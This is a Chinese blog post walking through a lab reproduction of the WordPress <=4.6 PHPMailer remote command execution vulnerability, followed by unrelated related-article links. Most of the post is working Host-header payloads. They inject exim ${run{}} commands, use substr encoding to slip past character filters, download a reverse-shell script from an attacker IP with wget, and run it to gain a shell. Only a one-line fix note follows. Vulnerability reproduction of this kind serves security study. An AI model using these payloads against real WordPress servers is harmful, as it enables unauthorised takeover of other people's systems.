wordpress<=4.6版本任意命令执行漏洞
漏洞简述
当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。
0x00漏洞影响
- WordPress <= 4.6.0
- PHPMailer < 5.2.18
0x01漏洞原理
主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。
0x02环境搭建
下载vulhub、docker-compose来一键搭建环境,vulhub链接:https://vulhub.org/#/environments/wordpress/pwnscriptum/
0x03漏洞复现
漏洞存在后台登录地方的找回密码页面:http://192.168.1.160/wp-login.php?action=lostpassword

我们输入一个存在的用户,然后点击获取新密码,bp抓post包

请求包的HOST处的参数值即是该漏洞的payload点。
该漏洞利用需要满足以下几点:
1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
2.该命令将转换为小写字母
3.命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin
需要注意:
该命令执行只在服务器端默默执行命令,不会显示在客户端响应界面
payload构造:
aa(any -froot@localhost -be ${run{/bin/touch /tmp/.php}} null) //在/tmp下创建一个1.php
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.106.109/bash.sh}} null) //下载反弹命令脚本到/tmp下重命名为shell
aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null) //执行/tmp下的shell脚本
payload转换规则:
.payload中run{}里面所有 / 用 ${substr{}{}{$spool_directory}} 代替
.payload中run{}里面所有 空格 用 ${substr{}{}{$tod_log}} 代替
上面的payload分别转换为:
aa(any -froot@localhost -be ${run{${substr{}{}{$spool_directory}}bin${substr{}{}{$spool_directory}}touch${substr{}{}{$tod_log}}${substr{}{}{$spool_directory}}tmp${substr{}{}{$spool_directory}}.php}} null)
aa(any -froot@localhost -be ${run{${substr{}{}{$spool_directory}}usr${substr{}{}{$spool_directory}}bin${substr{}{}{$spool_directory}}wget${substr{}{}{$tod_log}}--output-document${substr{}{}{$tod_log}}${substr{}{}{$spool_directory}}tmp${substr{}{}{$spool_directory}}shell${substr{}{}{$tod_log}}192.168.106.109${substr{}{}{$spool_directory}}bash.sh}} null)
aa(any -froot@localhost -be ${run{${substr{}{}{$spool_directory}}bin${substr{}{}{$spool_directory}}bash${substr{}{}{$tod_log}}${substr{}{}{$spool_directory}}tmp${substr{}{}{$spool_directory}}shell}} null)
将最终转化的payload分别拿到漏洞点去执行,观察效果
第一个payload在/tmp下新建1.php

在靶机上看看

命令只会默认执行,而不会在客户端显示出来,那么我们就只能采用反弹shell的方式获取到交互式shell来进行最终控制。
利用第二个payload从自己的外网vps上下载事先写好的反弹shell的脚本到靶机上的/tmp目录下,反弹到的目标为vps上。

发包之后查看靶机上的/tmp目录

看到已经成功下载到了靶机上的/tmp目录下,现在只需利用bash来执行这个shell脚本;
利用第三个payload来执行刚刚下载的反弹命令脚本,执行前需要在vps上进行监听指定端口,这里为7777:


burpsuite只要一发包,vps即可反弹上靶机的shell来

这样才达到了真正的利用该漏洞getshell了。
0x04漏洞修复
当然是更新wordpress、phpmailer到最新版本。
wordpress<=4.6版本任意命令执行漏洞的更多相关文章
- wordpress多站点配置
wordpress作为全球第一的个人博客搭建平台一直在国内外有着较高的人气,从3.0版本开始就已经支持多站点的搭建.该功能可以让子站点运行主站点的程序,不需要再每个站点分别存放网站程序.最近更新的4. ...
- wordpress优化之结合prism.js为编辑器自定义按钮转化代码
原文链接 http://ymblog.net/2016/07/24/wordpress-prism/ 继昨天花了一天一夜的时间匆匆写了主题Jiameil3.0之后,心中一直在想着优化加速,体验更好,插 ...
- 搭建个人wordpress博客(小白教程)
新浪sae平台现在是有个免费个人空间使用,现在,教您如何使用该平台搭建属于自己的个人网站,本教程以wordpress程序安装包搭建个人网站. 申请新浪云账号 如果我们使用SAE新浪云计算平台作为服务器 ...
- centos6.3与jexus5.4.4配置支持php(wordpress)
centos6.3与jexus5.4.4配置支持php,并搭建自己的wordpress博客,供那些在Linux平台下想让 php和asp.net一起跑的初学者参考. 1.搭建webserver 首先准 ...
- SAE+WordPress快速搭建个人博客
前些天一时冲动,买了个域名,我想总不能放着不用吧,干脆就搭建了一个个人博客.下面我把搭建的过程分享给大家.注意,此文并不是攻略,只是为了记录下这个从无到有的过程,当然,假如解决了你的疑惑,那当然是极好 ...
- 将WordPress安装在网站子目录的相关问题
May182013 将WordPress安装在网站子目录的相关问题 作者:xieyc 发布:2013-05-18 00:11 字符数:3423 分类:站长 阅读: 12,054 次 ...
- 使用WordPress搭建自己的博客
突然间发现自己在阿里上有一个免费的虚拟云空间,好像是什么时候阿里云搞活动赠送的.看了看还有不少时间,就决定自己搭建一个博客系统.说到搭建自己的博客,第一时间就想到WordPress,这个用起来应该是最 ...
- wordpress插件bug排查后记(记一次由于开启memecached引起的插件bug)
这篇文章是写给自己的. 周三的时候我在维护公司的一个wordpress项目页面时发现了一个非常奇怪的情况:当我尝试更新网站上的一个页面后,在wordpress后台的编辑器中发现其内容并没有按我预期的将 ...
- WordPress + Nginx +PHP+MySQL
Windows下配置Nginx+php环境 1)php的安装与配置. 直接解压下载好的php包,到D盘wnmp目录(D:\wnmp),这里把解压出来的文件夹重命名成php5.进入文件夹修改php.in ...
- docker版wordpress
拉取wordpress镜像 docker pull wordpress:latest 创建mysql 容器docker run --name wordpress-mysql -e MYSQL_ROOT ...
随机推荐
- cd命令和roscd命令的区别,并解决环境变量问题
cd命令和roscd命令都是切换到指定目录的命令.不同的是,cd是Linux系统的命令,在使用时必须指定目标目录的完整路径:而roscd是ros系统中的命令,它可以直接切换到指定目录(ros系统中的软 ...
- Git的指令
一,访问本地Git 上一节我们已学会了如何注册GitHub和安装Git 现在先打开电脑终端或Git Bash,首先和Git打个招呼,输入Git 二.新建文件/进入文件夹 mkdir + 文件名 ...
- Http POST 提交 415错误 Unsupported Media Type 解决方案
1 问题 在调用webapi post 提交时出现 415 Unsupported Media Type 错误 前端代码如下: $.post("/api/student/poststuden ...
- 理解POP、OOP、AOP编程
一.面向过程编程:(POP:Procedure Oriented Programming) 面向过程编程是以功能为中心来进行思考和组织的一种编程方法,它强调的是功能(即系统的数据被加工和处理的过程), ...
- Pycharm2018.3.5永久破解
声明:不做商业用途,电脑系统win10专业版,亲测有效. 首先:可以先去lookdiv.com钥匙:lookdiv.com去使用更新的激活码,免费版的有效期待考量. 或者:可以下面方式破解 注意:破解 ...
- Android Studio MainActivity中的R为红色
csdn解决链接 https://blog.csdn.net/M283592338/article/details/79880413
- Windows系统-cmd中的tracert命令
大部分同学都是用的Linux系统来测试网络命令相关工具,我用Windows10系统来测试tracert. tracert:也被称为Windows路由跟踪实用程序,在命令提示符(cmd)中 ...
- I fullly understand why can not set "auto commit off" in sqlserver
This is xxxxx Because MES guy mistaken , the data was wrong and made system error then. After that I ...
- 安装Mysql时提示尚未安装Python 解决方案
我明明安装了python,结果在安装mysql是却提示没有安装python. 原因,没有将python添加到path中. 解决方法:卸载python,然后重装python,在安装界面中勾选将path添 ...
- JAVA中的约瑟夫环和猴子王问题
今天在书上(书名< java程序设计经典300例 >李源编著)看了一个有趣的问题,那就是java版的约瑟夫问题,想必大一的小伙伴们早就用c写过了吧 今天我在复习一下 首先问题是这样的n个人 ...